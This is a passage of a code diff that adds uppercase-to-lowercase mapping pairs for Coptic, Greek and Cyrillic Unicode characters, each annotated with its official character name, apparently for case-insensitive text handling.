+ ["\u03E6", "\u03E7"], /* COPTIC CAPITAL LETTER KHEI (GREEK CAPITAL LETTER KHEI) */
+ ["\u03E6", "\u03E7"], /* COPTIC SMALL LETTER KHEI (GREEK SMALL LETTER KHEI) */
+ ["\u03E8", "\u03E9"], /* COPTIC CAPITAL LETTER HORI (GREEK CAPITAL LETTER HORI) */
+ ["\u03E8", "\u03E9"], /* COPTIC SMALL LETTER HORI (GREEK SMALL LETTER HORI) */
+ ["\u03EA", "\u03EB"], /* COPTIC CAPITAL LETTER GANGIA (GREEK CAPITAL LETTER GANGIA) */
+ ["\u03EA", "\u03EB"], /* COPTIC SMALL LETTER GANGIA (GREEK SMALL LETTER GANGIA) */
+ ["\u03EC", "\u03ED"], /* COPTIC CAPITAL LETTER SHIMA (GREEK CAPITAL LETTER SHIMA) */
+ ["\u03EC", "\u03ED"], /* COPTIC SMALL LETTER SHIMA (GREEK SMALL LETTER SHIMA) */
+ ["\u03EE", "\u03EF"], /* COPTIC CAPITAL LETTER DEI (GREEK CAPITAL LETTER DEI) */
+ ["\u03EE", "\u03EF"], /* COPTIC SMALL LETTER DEI (GREEK SMALL LETTER DEI) */
+ ["\u039A", "\u03F0"], /* GREEK KAPPA SYMBOL (GREEK SMALL LETTER SCRIPT KAPPA) */
+ ["\u03A1", "\u03F1"], /* GREEK RHO SYMBOL (GREEK SMALL LETTER TAILED RHO) */
+ ["\u03F9", "\u03F2"], /* GREEK LUNATE SIGMA SYMBOL (GREEK SMALL LETTER LUNATE SIGMA) */
+ ["\u037F", "\u03F3"], /* GREEK LETTER YOT */
+ ["\u03F4", "\u03B8"], /* GREEK CAPITAL THETA SYMBOL */
+ ["\u0395", "\u03F5"], /* GREEK LUNATE EPSILON SYMBOL */
+ ["\u03F6", "\u03F6"], /* GREEK REVERSED LUNATE EPSILON SYMBOL */
+ ["\u03F7", "\u03F8"], /* GREEK CAPITAL LETTER SHO */
+ ["\u03F7", "\u03F8"], /* GREEK SMALL LETTER SHO */
+ ["\u03F9", "\u03F2"], /* GREEK CAPITAL LUNATE SIGMA SYMBOL */
+ ["\u03FA", "\u03FB"], /* GREEK CAPITAL LETTER SAN */
+ ["\u03FA", "\u03FB"], /* GREEK SMALL LETTER SAN */
+ ["\u03FC", "\u03FC"], /* GREEK RHO WITH STROKE SYMBOL */
+ ["\u03FD", "\u037B"], /* GREEK CAPITAL REVERSED LUNATE SIGMA SYMBOL */
+ ["\u03FE", "\u037C"], /* GREEK CAPITAL DOTTED LUNATE SIGMA SYMBOL */
+ ["\u03FF", "\u037D"], /* GREEK CAPITAL REVERSED DOTTED LUNATE SIGMA SYMBOL */
+ ["\u0400", "\u0450"], /* CYRILLIC CAPITAL LETTER IE WITH GRAVE */
+ ["\u0401", "\u0451"], /* CYRILLIC CAPITAL LETTER IO */
+ ["\u0402", "\u0452"], /* CYRILLIC CAPITAL LETTER DJE */
+ ["\u0403", "\u0453"], /* CYRILLIC CAPITAL LETTER GJE */
+ ["\u0404", "\u0454"], /* CYRILLIC CAPITAL LETTER UKRAINIAN IE (CYRILLIC CAPITAL LETTER E) */
+ ["\u0405", "\u0455"], /* CYRILLIC CAPITAL LETTER DZE */
+ ["\u0406", "\u0456"], /* CYRILLIC CAPITAL LETTER BYELORUSSIAN-UKRAINIAN I (CYRILLIC CAPITAL LETTER I) */
+ ["\u0407", "\u0457"], /* CYRILLIC CAPITAL LETTER YI */
+ ["\u0408", "\u0458"], /* CYRILLIC CAPITAL LETTER JE */
+ ["\u0409", "\u0459"], /* CYRILLIC CAPITAL LETTER LJE */
+ ["\u040A", "\u045A"], /* CYRILLIC CAPITAL LETTER NJE */
+ ["\u040B", "\u045B"], /* CYRILLIC CAPITAL LETTER TSHE */
+ ["\u040C", "\u045C"], /* CYRILLIC CAPITAL LETTER KJE */
+ ["\u040D", "\u045D"], /* CYRILLIC CAPITAL LETTER I WITH GRAVE */
+ ["\u040E", "\u045E"], /* CYRILLIC CAPITAL LETTER SHORT U */
+ ["\u040F", "\u045F"], /* CYRILLIC CAPITAL LETTER DZHE */
+ ["\u0410", "\u0430"], /* CYRILLIC CAPITAL LETTER A */
+ ["\u0411", "\u0431"], /* CYRILLIC CAPITAL LETTER BE */
+ ["\u0412", "\u0432"], /* CYRILLIC CAPITAL LETTER VE */
+ ["\u0413", "\u0433"], /* CYRILLIC CAPITAL LETTER GHE (CYRILLIC CAPITAL LETTER GE) */
+ ["\u0414", "\u0434"], /* CYRILLIC CAPITAL LETTER DE */
+ ["\u0415", "\u0435"], /* CYRILLIC CAPITAL LETTER IE */
+ ["\u0416", "\u0436"], /* CYRILLIC CAPITAL LETTER ZHE */
+ ["\u0417", "\u0437"], /* CYRILLIC CAPITAL LETTER ZE */
+ ["\u0418", "\u0438"], /* CYRILLIC CAPITAL LETTER I (CYRILLIC CAPITAL LETTER II) */
+ ["\u0419", "\u0439"], /* CYRILLIC CAPITAL LETTER SHORT I (CYRILLIC CAPITAL LETTER SHORT II) */
+ ["\u041A", "\u043A"], /* CYRILLIC CAPITAL LETTER KA */
+ ["\u041B", "\u043B"], /* CYRILLIC CAPITAL LETTER EL */
+ ["\u041C", "\u043C"], /* CYRILLIC CAPITAL LETTER EM */
+ ["\u041D", "\u043D"], /* CYRILLIC CAPITAL LETTER EN */
+ ["\u041E", "\u043E"], /* CYRILLIC CAPITAL LETTER O */
+ ["\u041F", "\u043F"], /* CYRILLIC CAPITAL LETTER PE */
+ ["\u0420", "\u0440"], /* CYRILLIC CAPITAL LETTER ER */
+ ["\u0421", "\u0441"], /* CYRILLIC CAPITAL LETTER ES */
+ ["\u0422", "\u0442"], /* CYRILLIC CAPITAL LETTER TE */
+ ["\u0423", "\u0443"], /* CYRILLIC CAPITAL LETTER U */
+ ["\u0424", "\u0444"], /* CYRILLIC CAPITAL LETTER EF */
+ ["\u0425", "\u0445"], /* CYRILLIC CAPITAL LETTER HA (CYRILLIC CAPITAL LETTER KHA) */
+ ["\u0426", "\u0446"], /* CYRILLIC CAPITAL LETTER TSE */
+ ["\u0427", "\u0447"], /* CYRILLIC CAPITAL LETTER CHE */
+ ["\u0428", "\u0448"], /* CYRILLIC CAPITAL LETTER SHA */
+ ["\u0429", "\u0449"], /* CYRILLIC CAPITAL LETTER SHCHA */
+ ["\u042A", "\u044A"], /* CYRILLIC CAPITAL LETTER HARD SIGN */
+ ["\u042B", "\u044B"], /* CYRILLIC CAPITAL LETTER YERU (CYRILLIC CAPITAL LETTER YERI) */
+ ["\u042C", "\u044C"], /* CYRILLIC CAPITAL LETTER SOFT SIGN */
+ ["\u042D", "\u044D"], /* CYRILLIC CAPITAL LETTER E (CYRILLIC CAPITAL LETTER REVERSED E) */
+ ["\u042E", "\u044E"], /* CYRILLIC CAPITAL LETTER YU (CYRILLIC CAPITAL LETTER IU) */
+ ["\u042F", "\u044F"], /* CYRILLIC CAPITAL LETTER YA (CYRILLIC CAPITAL LETTER IA) */
+ ["\u0410", "\u0430"], /* CYRILLIC SMALL LETTER A */
+ ["\u0411", "\u0431"], /* CYRILLIC SMALL LETTER BE */
+ ["\u0412", "\u0432"], /* CYRILLIC SMALL LETTER VE */
+ ["\u0413", "\u0433"], /* CYRILLIC SMALL LETTER GHE (CYRILLIC SMALL LETTER GE) */
+ ["\u0414", "\u0434"], /* CYRILLIC SMALL LETTER DE */
+ ["\u0415", "\u0435"], /* CYRILLIC SMALL LETTER IE */
+ ["\u0416", "\u0436"], /* CYRILLIC SMALL LETTER ZHE */
+ ["\u0417", "\u0437"], /* CYRILLIC SMALL LETTER ZE */
+ ["\u0418", "\u0438"], /* CYRILLIC SMALL LETTER I (CYRILLIC SMALL LETTER II) */
+ ["\u0419", "\u0439"], /* CYRILLIC SMALL LETTER SHORT I (CYRILLIC SMALL LETTER SHORT II) */
+ ["\u041A", "\u043A"], /* CYRILLIC SMALL LETTER KA */
+ ["\u041B", "\u043B"], /* CYRILLIC SMALL LETTER EL */
+ ["\u041C", "\u043C"], /* CYRILLIC SMALL LETTER EM */
+ ["\u041D", "\u043D"], /* CYRILLIC SMALL LETTER EN */
+ ["\u041E", "\u043E"], /* CYRILLIC SMALL LETTER O */
+ ["\u041F", "\u043F"], /* CYRILLIC SMALL LETTER PE */
+ ["\u0420", "\u0440"], /* CYRILLIC SMALL LETTER ER */
+ ["\u0421", "\u0441"], /* CYRILLIC SMALL LETTER ES */
+ ["\u0422", "\u0442"], /* CYRILLIC SMALL LETTER TE */
+ ["\u0423", "\u0443"], /* CYRILLIC SMALL LETTER U */
+ ["\u0424", "\u0444"], /* CYRILLIC SMALL LETTER EF */
+ ["\u0425", "\u0445"], /* CYRILLIC SMALL LETTER HA (CYRILLIC SMALL LETTER KHA) */
+ ["\u0426", "\u0446"], /* CYRILLIC SMALL LETTER TSE */
+ ["\u0427", "\u0447"], /* CYRILLIC SMALL LETTER CHE */
+ ["\u0428", "\u0448"], /* CYRILLIC SMALL LETTER SHA */
+ ["\u0429", "\u0449"], /* CYRILLIC SMALL LETTER SHCHA */
+ ["\u042A", "\u044A"], /* CYRILLIC SMALL LETTER HARD SIGN */
+ ["\u042B", "\u044B"], /* CYRILLIC SMALL LETTER YERU (CYRILLIC SMALL LETTER YERI) */
+ ["\u042C", "\u044C"], /* CYRILLIC SMALL LETTER SOFT SIGN */
+ ["\u042D", "\u044D"], /* CYRILLIC SMALL LETTER E (CYRILLIC SMALL LETTER REVERSED E) */
+ ["\u042E", "\u044E"], /* CYRILLIC SMALL LETTER YU (CYRILLIC SMALL LETTER IU) */
+ ["\u042F", "\u044F"], /* CYRILLIC SMALL LETTER YA (CYRILLIC SMALL LETTER IA) */
+ ["\u0400", "\u0450"], /* CYRILLIC SMALL LETTER IE WITH GRAVE */
+ ["\u0401", "\u0451"], /* CYRILLIC SMALL LETTER IO */
+ ["\u0402", "\u0452"], /* CYRILLIC SMALL LETTER DJE */
+ ["\u0403", "\u0453"], /* CYRILLIC SMALL LETTER GJE */
+ ["\u0404", "\u0454"], /* CYRILLIC SMALL LETTER UKRAINIAN IE (CYRILLIC SMALL LETTER E) */
+ ["\u0405", "\u0455"], /* CYRILLIC SMALL LETTER DZE */
+ ["\u0406", "\u0456"], /* CYRILLIC SMALL LETTER BYELORUSSIAN-UKRAINIAN I (CYRILLIC SMALL LETTER I) */
+ ["\u0407", "\u0457"], /* CYRILLIC SMALL LETTER YI */
+ ["\u0408", "\u0458"], /* CYRILLIC SMALL LETTER JE */
+ ["\u0409", "\u0459"], /* CYRILLIC SMALL LETTER LJE */
+ ["\u040A", "\u045A"], /* CYRILLIC SMALL LETTER NJE */
+ ["\u040B", "\u045B"], /* CYRILLIC SMALL LETTER TSHE */
+ ["\u040C", "\u045C"], /* CYRILLIC SMALL LETTER KJE */
+ ["\u040D", "\u045D"], /* CYRILLIC SMALL LETTER I WITH GRAVE */
+ ["\u040E", "\u045E"], /* CYRILLIC SMALL LETTER SHORT U */
+ ["\u040F", "\u045F"], /* CYRILLIC SMALL LETTER DZHE */
+ ["\u0460", "\u0461"], /* CYRILLIC CAPITAL LETTER OMEGA */
+ ["\u0460", "\u0461"], /* CYRILLIC SMALL LETTER OMEGA */
+ ["\u0462", "\u0463"], /* CYRILLIC CAPITAL LETTER YAT */
+ ["\u0462", "\u0463"], /* CYRILLIC SMALL LETTER YAT */
+ ["\u0464", "\u0465"], /* CYRILLIC CAPITAL LETTER IOTIFIED E */
+ ["\u0464", "\u0465"], /* CYRILLIC SMALL LETTER IOTIFIED E */
+ ["\u0466", "\u0467"], /* CYRILLIC CAPITAL LETTER LITTLE YUS */
+ ["\u0466", "\u0467"], /* CYRILLIC SMALL LETTER LITTLE YUS */
+ ["\u0468", "\u0469"], /* CYRILLIC CAPITAL LETTER IOTIFIED LITTLE YUS */
+ ["\u0468", "\u0469"], /* CYRILLIC SMALL LETTER IOTIFIED LITTLE YUS */
+ ["\u046A", "\u046B"], /* CYRILLIC CAPITAL LETTER BIG YUS */
+ ["\u046A", "\u046B"], /* CYRILLIC SMALL LETTER BIG YUS */
+ ["\u046C", "\u046D"], /* CYRILLIC CAPITAL LETTER IOTIFIED BIG YUS */
+ ["\u046C", "\u046D"], /* CYRILLIC SMALL LETTER IOTIFIED BIG YUS */
+ ["\u046E", "\u046F"], /* CYRILLIC CAPITAL LETTER KSI */
+ ["\u046E", "\u046F"], /* CYRILLIC SMALL LETTER KSI */
+ ["\u0470", "\u0471"], /* CYRILLIC CAPITAL LETTER PSI */
+ ["\u0470", "\u0471"], /* CYRILLIC SMALL LETTER PSI */
+ ["\u0472", "\u0473"], /* CYRILLIC CAPITAL LETTER FITA */
+ ["\u0472", "\u0473"], /* CYRILLIC SMALL LETTER FITA */
+ ["\u0474", "\u0475"], /* CYRILLIC CAPITAL LETTER IZHITSA */
+ ["\u0474", "\u0475"], /* CYRILLIC SMALL LETTER IZHITSA */
+ ["\u0476", "\u0477"], /* CYRILLIC CAPITAL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT (CYRILLIC CAPITAL LETTER IZHITSA DOUBLE GRAVE) */
+ ["\u0476", "\u0477"], /* CYRILLIC SMALL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT (CYRILLIC SMALL LETTER IZHITSA DOUBLE GRAVE) */
+ ["\u0478", "\u0479"], /* CYRILLIC CAPITAL LETTER UK (CYRILLIC CAPITAL LETTER UK DIGRAPH) */
+ ["\u0478", "\u0479"], /* CYRILLIC SMALL LETTER UK (CYRILLIC SMALL LETTER UK DIGRAPH) */
+ ["\u047A", "\u047B"], /* CYRILLIC CAPITAL LETTER ROUND OMEGA */
+ ["\u047A", "\u047B"], /* CYRILLIC SMALL LETTER ROUND OMEGA */
+ ["\u047C", "\u047D"], /* CYRILLIC CAPITAL LETTER OMEGA WITH TITLO (CYRILLIC CAPITAL LETTER OMEGA TITLO) */
+ ["\u047C", "\u047D"], /* CYRILLIC SMALL LETTER OMEGA WITH TITLO (CYRILLIC SMALL LETTER OMEGA TITLO) */
+ ["\u047E", "\u047F"], /* CYRILLIC CAPITAL LETTER OT */
+ ["\u047E", "\u047F"], /* CYRILLIC SMALL LETTER OT */
+ ["\u0480", "\u0481"], /* CYRILLIC CAPITAL LETTER KOPPA */
+ ["\u0480", "\u0481"], /* CYRILLIC SMALL LETTER KOPPA */
+ ["\u0482", "\u0482"], /* CYRILLIC THOUSANDS SIGN */
+ ["\u0483", "\u0483"], /* COMBINING CYRILLIC TITLO (CYRILLIC NON-SPACING TITLO) */
+ ["\u0484", "\u0484"], /* COMBINING CYRILLIC PALATALIZATION (CYRILLIC NON-SPACING PALATALIZATION) */
+ ["\u0485", "\u0485"], /* COMBINING CYRILLIC DASIA PNEUMATA (CYRILLIC NON-SPACING DASIA PNEUMATA) */
+ ["\u0486", "\u0486"], /* COMBINING CYRILLIC PSILI PNEUMATA (CYRILLIC NON-SPACING PSILI PNEUMATA) */
+ ["\u0487", "\u0487"], /* COMBINING CYRILLIC POKRYTIE */
+ ["\u0488", "\u0488"], /* COMBINING CYRILLIC HUNDRED THOUSANDS SIGN */
+ ["\u0489", "\u0489"], /* COMBINING CYRILLIC MILLIONS SIGN */
+ ["\u048A", "\u048B"], /* CYRILLIC CAPITAL LETTER SHORT I WITH TAIL */
+ ["\u048A", "\u048B"], /* CYRILLIC SMALL LETTER SHORT I WITH TAIL */
+ ["\u048C", "\u048D"], /* CYRILLIC CAPITAL LETTER SEMISOFT SIGN */
+ ["\u048C", "\u048D"], /* CYRILLIC SMALL LETTER SEMISOFT SIGN */
+ ["\u048E", "\u048F"], /* CYRILLIC CAPITAL LETTER ER WITH TICK */
+ ["\u048E", "\u048F"], /* CYRILLIC SMALL LETTER ER WITH TICK */
+ ["\u0490", "\u0491"], /* CYRILLIC CAPITAL LETTER GHE WITH UPTURN (CYRILLIC CAPITAL LETTER GE WITH UPTURN) */
+ ["\u0490", "\u0491"], /* CYRILLIC SMALL LETTER GHE WITH UPTURN (CYRILLIC SMALL LETTER GE WITH UPTURN) */
+ ["\u0492", "\u0493"], /* CYRILLIC CAPITAL LETTER GHE WITH STROKE (CYRILLIC CAPITAL LETTER GE BAR) */
+ ["\u0492", "\u0493"], /* CYRILLIC SMALL LETTER GHE WITH STROKE (CYRILLIC SMALL LETTER GE BAR) */
+ ["\u0494", "\u0495"], /* CYRILLIC CAPITAL LETTER GHE WITH MIDDLE HOOK (CYRILLIC CAPITAL LETTER GE HOOK) */
+ ["\u0494", "\u0495"], /* CYRILLIC SMALL LETTER GHE WITH MIDDLE HOOK (CYRILLIC SMALL LETTER GE HOOK) */
+ ["\u0496", "\u0497"], /* CYRILLIC CAPITAL LETTER ZHE WITH DESCENDER (CYRILLIC CAPITAL LETTER ZHE WITH RIGHT DESCENDER) */
+ ["\u0496", "\u0497"], /* CYRILLIC SMALL LETTER ZHE WITH DESCENDER (CYRILLIC SMALL LETTER ZHE WITH RIGHT DESCENDER) */
+ ["\u0498", "\u0499"], /* CYRILLIC CAPITAL LETTER ZE WITH DESCENDER (CYRILLIC CAPITAL LETTER ZE CEDILLA) */
+ ["\u0498", "\u0499"], /* CYRILLIC SMALL LETTER ZE WITH DESCENDER (CYRILLIC SMALL LETTER ZE CEDILLA) */
+ ["\u049A", "\u049B"], /* CYRILLIC CAPITAL LETTER KA WITH DESCENDER (CYRILLIC CAPITAL LETTER KA WITH RIGHT DESCENDER) */
+ ["\u049A", "\u049B"], /* CYRILLIC SMALL LETTER KA WITH DESCENDER (CYRILLIC SMALL LETTER KA WITH RIGHT DESCENDER) */
+ ["\u049C", "\u049D"], /* CYRILLIC CAPITAL LETTER KA WITH VERTICAL STROKE (CYRILLIC CAPITAL LETTER KA VERTICAL BAR) */
+ ["\u049C", "\u049D"], /* CYRILLIC SMALL LETTER KA WITH VERTICAL STROKE (CYRILLIC SMALL LETTER KA VERTICAL BAR) */
+ ["\u049E", "\u049F"], /* CYRILLIC CAPITAL LETTER KA WITH STROKE (CYRILLIC CAPITAL LETTER KA BAR) */
+ ["\u049E", "\u049F"], /* CYRILLIC SMALL LETTER KA WITH STROKE (CYRILLIC SMALL LETTER KA BAR) */
+ ["\u04A0", "\u04A1"], /* CYRILLIC CAPITAL LETTER BASHKIR KA (CYRILLIC CAPITAL LETTER REVERSED GE KA) */
+ ["\u04A0", "\u04A1"], /* CYRILLIC SMALL LETTER BASHKIR KA (CYRILLIC SMALL LETTER REVERSED GE KA) */
+ ["\u04A2", "\u04A3"], /* CYRILLIC CAPITAL LETTER EN WITH DESCENDER (CYRILLIC CAPITAL LETTER EN WITH RIGHT DESCENDER) */
+ ["\u04A2", "\u04A3"], /* CYRILLIC SMALL LETTER EN WITH DESCENDER (CYRILLIC SMALL LETTER EN WITH RIGHT DESCENDER) */
+ ["\u04A4", "\u04A5"], /* CYRILLIC CAPITAL LIGATURE EN GHE (CYRILLIC CAPITAL LETTER EN GE) */
+ ["\u04A4", "\u04A5"], /* CYRILLIC SMALL LIGATURE EN GHE (CYRILLIC SMALL LETTER EN GE) */
+ ["\u04A6", "\u04A7"], /* CYRILLIC CAPITAL LETTER PE WITH MIDDLE HOOK (CYRILLIC CAPITAL LETTER PE HOOK) */
+ ["\u04A6", "\u04A7"], /* CYRILLIC SMALL LETTER PE WITH MIDDLE HOOK (CYRILLIC SMALL LETTER PE HOOK) */
+ ["\u04A8", "\u04A9"], /* CYRILLIC CAPITAL LETTER ABKHASIAN HA (CYRILLIC CAPITAL LETTER O HOOK) */
+ ["\u04A8", "\u04A9"], /* CYRILLIC SMALL LETTER ABKHASIAN HA (CYRILLIC SMALL LETTER O HOOK) */
+ ["\u04AA", "\u04AB"], /* CYRILLIC CAPITAL LETTER ES WITH DESCENDER (CYRILLIC CAPITAL LETTER ES CEDILLA) */
+ ["\u04AA", "\u04AB"], /* CYRILLIC SMALL LETTER ES WITH DESCENDER (CYRILLIC SMALL LETTER ES CEDILLA) */
+ ["\u04AC", "\u04AD"], /* CYRILLIC CAPITAL LETTER TE WITH DESCENDER (CYRILLIC CAPITAL LETTER TE WITH RIGHT DESCENDER) */
+ ["\u04AC", "\u04AD"], /* CYRILLIC SMALL LETTER TE WITH DESCENDER (CYRILLIC SMALL LETTER TE WITH RIGHT DESCENDER) */
+ ["\u04AE", "\u04AF"], /* CYRILLIC CAPITAL LETTER STRAIGHT U */
+ ["\u04AE", "\u04AF"], /* CYRILLIC SMALL LETTER STRAIGHT U */
+ ["\u04B0", "\u04B1"], /* CYRILLIC CAPITAL LETTER STRAIGHT U WITH STROKE (CYRILLIC CAPITAL LETTER STRAIGHT U BAR) */
+ ["\u04B0", "\u04B1"], /* CYRILLIC SMALL LETTER STRAIGHT U WITH STROKE (CYRILLIC SMALL LETTER STRAIGHT U BAR) */
+ ["\u04B2", "\u04B3"], /* CYRILLIC CAPITAL LETTER HA WITH DESCENDER (CYRILLIC CAPITAL LETTER KHA WITH RIGHT DESCENDER) */
+ ["\u04B2", "\u04B3"], /* CYRILLIC SMALL LETTER HA WITH DESCENDER (CYRILLIC SMALL LETTER KHA WITH RIGHT DESCENDER) */
+ ["\u04B4", "\u04B5"], /* CYRILLIC CAPITAL LIGATURE TE TSE (CYRILLIC CAPITAL LETTER TE TSE) */
+ ["\u04B4", "\u04B5"], /* CYRILLIC SMALL LIGATURE TE TSE (CYRILLIC SMALL LETTER TE TSE) */
+ ["\u04B6", "\u04B7"], /* CYRILLIC CAPITAL LETTER CHE WITH DESCENDER (CYRILLIC CAPITAL LETTER CHE WITH RIGHT DESCENDER) */
+ ["\u04B6", "\u04B7"], /* CYRILLIC SMALL LETTER CHE WITH DESCENDER (CYRILLIC SMALL LETTER CHE WITH RIGHT DESCENDER) */
+ ["\u04B8", "\u04B9"], /* CYRILLIC CAPITAL LETTER CHE WITH VERTICAL STROKE (CYRILLIC CAPITAL LETTER CHE VERTICAL BAR) */
+ ["\u04B8", "\u04B9"], /* CYRILLIC SMALL LETTER CHE WITH VERTICAL STROKE (CYRILLIC SMALL LETTER CHE VERTICAL BAR) */
+ ["\u04BA", "\u04BB"], /* CYRILLIC CAPITAL LETTER SHHA (CYRILLIC CAPITAL LETTER H) */
+ ["\u04BA", "\u04BB"], /* CYRILLIC SMALL LETTER SHHA (CYRILLIC SMALL LETTER H) */
+ ["\u04BC", "\u04BD"], /* CYRILLIC CAPITAL LETTER ABKHASIAN CHE (CYRILLIC CAPITAL LETTER IE HOOK) */
+ ["\u04BC", "\u04BD"], /* CYRILLIC SMALL LETTER ABKHASIAN CHE (CYRILLIC SMALL LETTER IE HOOK) */
+ ["\u04BE", "\u04BF"], /* CYRILLIC CAPITAL LETTER ABKHASIAN CHE WITH DESCENDER (CYRILLIC CAPITAL LETTER IE HOOK OGONEK) */
+ ["\u04BE", "\u04BF"], /* CYRILLIC SMALL LETTER ABKHASIAN CHE WITH DESCENDER (CYRILLIC SMALL LETTER IE HOOK OGONEK) */
+ ["\u04C0", "\u04CF"], /* CYRILLIC LETTER PALOCHKA (CYRILLIC LETTER I) */
+ ["\u04C1", "\u04C2"], /* CYRILLIC CAPITAL LETTER ZHE WITH BREVE (CYRILLIC CAPITAL LETTER SHORT ZHE) */
+ ["\u04C1", "\u04C2"], /* CYRILLIC SMALL LETTER ZHE WITH BREVE (CYRILLIC SMALL LETTER SHORT ZHE) */
+ ["\u04C3", "\u04C4"], /* CYRILLIC CAPITAL LETTER KA WITH HOOK (CYRILLIC CAPITAL LETTER KA HOOK) */
+ ["\u04C3", "\u04C4"], /* CYRILLIC SMALL LETTER KA WITH HOOK (CYRILLIC SMALL LETTER KA HOOK) */
+ ["\u04C5", "\u04C6"], /* CYRILLIC CAPITAL LETTER EL WITH TAIL */
+ ["\u04C5", "\u04C6"], /* CYRILLIC SMALL LETTER EL WITH TAIL */
+ ["\u04C7", "\u04C8"], /* CYRILLIC CAPITAL LETTER EN WITH HOOK (CYRILLIC CAPITAL LETTER EN HOOK) */
+ ["\u04C7", "\u04C8"], /* CYRILLIC SMALL LETTER EN WITH HOOK (CYRILLIC SMALL LETTER EN HOOK) */
+ ["\u04C9", "\u04CA"], /* CYRILLIC CAPITAL LETTER EN WITH TAIL */
+ ["\u04C9", "\u04CA"], /* CYRILLIC SMALL LETTER EN WITH TAIL */
+ ["\u04CB", "\u04CC"], /* CYRILLIC CAPITAL LETTER KHAKASSIAN CHE (CYRILLIC CAPITAL LETTER CHE WITH LEFT DESCENDER) */
+ ["\u04CB", "\u04CC"], /* CYRILLIC SMALL LETTER KHAKASSIAN CHE (CYRILLIC SMALL LETTER CHE WITH LEFT DESCENDER) */
+ ["\u04CD", "\u04CE"], /* CYRILLIC CAPITAL LETTER EM WITH TAIL */
+ ["\u04CD", "\u04CE"], /* CYRILLIC SMALL LETTER EM WITH TAIL */
+ ["\u04C0", "\u04CF"], /* CYRILLIC SMALL LETTER PALOCHKA */
+ ["\u04D0", "\u04D1"], /* CYRILLIC CAPITAL LETTER A WITH BREVE */
+ ["\u04D0", "\u04D1"], /* CYRILLIC SMALL LETTER A WITH BREVE */
+ ["\u04D2", "\u04D3"], /* CYRILLIC CAPITAL LETTER A WITH DIAERESIS */
+ ["\u04D2", "\u04D3"], /* CYRILLIC SMALL LETTER A WITH DIAERESIS */
+ ["\u04D4", "\u04D5"], /* CYRILLIC CAPITAL LIGATURE A IE */
+ ["\u04D4", "\u04D5"], /* CYRILLIC SMALL LIGATURE A IE */
+ ["\u04D6", "\u04D7"], /* CYRILLIC CAPITAL LETTER IE WITH BREVE */
+ ["\u04D6", "\u04D7"], /* CYRILLIC SMALL LETTER IE WITH BREVE */
+ ["\u04D8", "\u04D9"], /* CYRILLIC CAPITAL LETTER SCHWA */
+ ["\u04D8", "\u04D9"], /* CYRILLIC SMALL LETTER SCHWA */
+ ["\u04DA", "\u04DB"], /* CYRILLIC CAPITAL LETTER SCHWA WITH DIAERESIS */
+ ["\u04DA", "\u04DB"], /* CYRILLIC SMALL LETTER SCHWA WITH DIAERESIS */
+ ["\u04DC", "\u04DD"], /* CYRILLIC CAPITAL LETTER ZHE WITH DIAERESIS */
+ ["\u04DC", "\u04DD"], /* CYRILLIC SMALL LETTER ZHE WITH DIAERESIS */
+ ["\u04DE", "\u04DF"], /* CYRILLIC CAPITAL LETTER ZE WITH DIAERESIS */
+ ["\u04DE", "\u04DF"], /* CYRILLIC SMALL LETTER ZE WITH DIAERESIS */
+ ["\u04E0", "\u04E1"], /* CYRILLIC CAPITAL LETTER ABKHASIAN DZE */
+ ["\u04E0", "\u04E1"], /* CYRILLIC SMALL LETTER ABKHASIAN DZE */
+ ["\u04E2", "\u04E3"], /* CYRILLIC CAPITAL LETTER I WITH MACRON */
+ ["\u04E2", "\u04E3"], /* CYRILLIC SMALL LETTER I WITH MACRON */
+ ["\u04E4", "\u04E5"], /* CYRILLIC CAPITAL LETTER I WITH DIAERESIS */
+ ["\u04E4", "\u04E5"], /* CYRILLIC SMALL LETTER I WITH DIAERESIS */
+ ["\u04E6", "\u04E7"], /* CYRILLIC CAPITAL LETTER O WITH DIAERESIS */
+ ["\u04E6", "\u04E7"], /* CYRILLIC SMALL LETTER O WITH DIAERESIS */
+ ["\u04E8", "\u04E9"], /* CYRILLIC CAPITAL LETTER BARRED O */
+ ["\u04E8", "\u04E9"], /* CYRILLIC SMALL LETTER BARRED O */
+ ["\u04EA", "\u04EB"], /* CYRILLIC CAPITAL LETTER BARRED O WITH DIAERESIS */
+ ["\u04EA", "\u04EB"], /* CYRILLIC SMALL LETTER BARRED O WITH DIAERESIS */
+ ["\u04EC", "\u04ED"], /* CYRILLIC CAPITAL LETTER E WITH DIAERESIS */
+ ["\u04EC", "\u04ED"], /* CYRILLIC SMALL LETTER E WITH DIAERESIS */
+ ["\u04EE", "\u04EF"], /* CYRILLIC CAPITAL LETTER U WITH MACRON */
+ ["\u04EE", "\u04EF"], /* CYRILLIC SMALL LETTER U WITH MACRON */
+ ["\u04F0", "\u04F1"], /* CYRILLIC CAPITAL LETTER U WITH DIAERESIS */
+ ["\u04F0", "\u04F1"], /* CYRILLIC SMALL LETTER U WITH DIAERESIS */
+ ["\u04F2", "\u04F3"], /* CYRILLIC CAPITAL LETTER U WITH DOUBLE ACUTE */
+ ["\u04F2", "\u04F3"], /* CYRILLIC SMALL LETTER U WITH DOUBLE ACUTE */
+ ["\u04F4", "\u04F5"], /* CYRILLIC CAPITAL LETTER CHE WITH DIAERESIS */
+ ["\u04F4", "\u04F5"], /* CYRILLIC SMALL LETTER CHE WITH DIAERESIS */
+ ["\u04F6", "\u04F7"], /* CYRILLIC CAPITAL LETTER GHE WITH DESCENDER */
+ ["\u04F6", "\u04F7"], /* CYRILLIC SMALL LETTER GHE WITH DESCENDER */
+ ["\u04F8", "\u04F9"], /* CYRILLIC CAPITAL LETTER YERU WITH DIAERESIS */
+ ["\u04F8", "\u04F9"], /* CYRILLIC SMALL LETTER YERU WITH DIAERESIS */
+ ["\u04FA", "\u04FB"], /* CYRILLIC CAPITAL LETTER GHE WITH STROKE AND HOOK */
+ ["\u04FA", "\u04FB"], /* CYRILLIC SMALL LETTER GHE WITH STROKE AND HOOK */
+ ["\u04FC", "\u04FD"], /* CYRILLIC CAPITAL LETTER HA WITH HOOK */
+ ["\u04FC", "\u04FD"], /* CYRILLIC SMALL LETTER HA WITH HOOK */
+ ["\u04FE", "\u04FF"], /* CYRILLIC CAPITAL LETTER HA WITH STROKE */
+ ["\u04FE", "\u04FF"], /* CYRILLIC SMALL LETTER HA WITH STROKE */
+ ["\u0500", "\u0501"], /* CYRILLIC CAPITAL LETTER KOMI DE */
+ ["\u0500", "\u0501"], /* CYRILLIC SMALL LETTER KOMI DE */
+ ["\u0502", "\u0503"], /* CYRILLIC CAPITAL LETTER KOMI DJE */
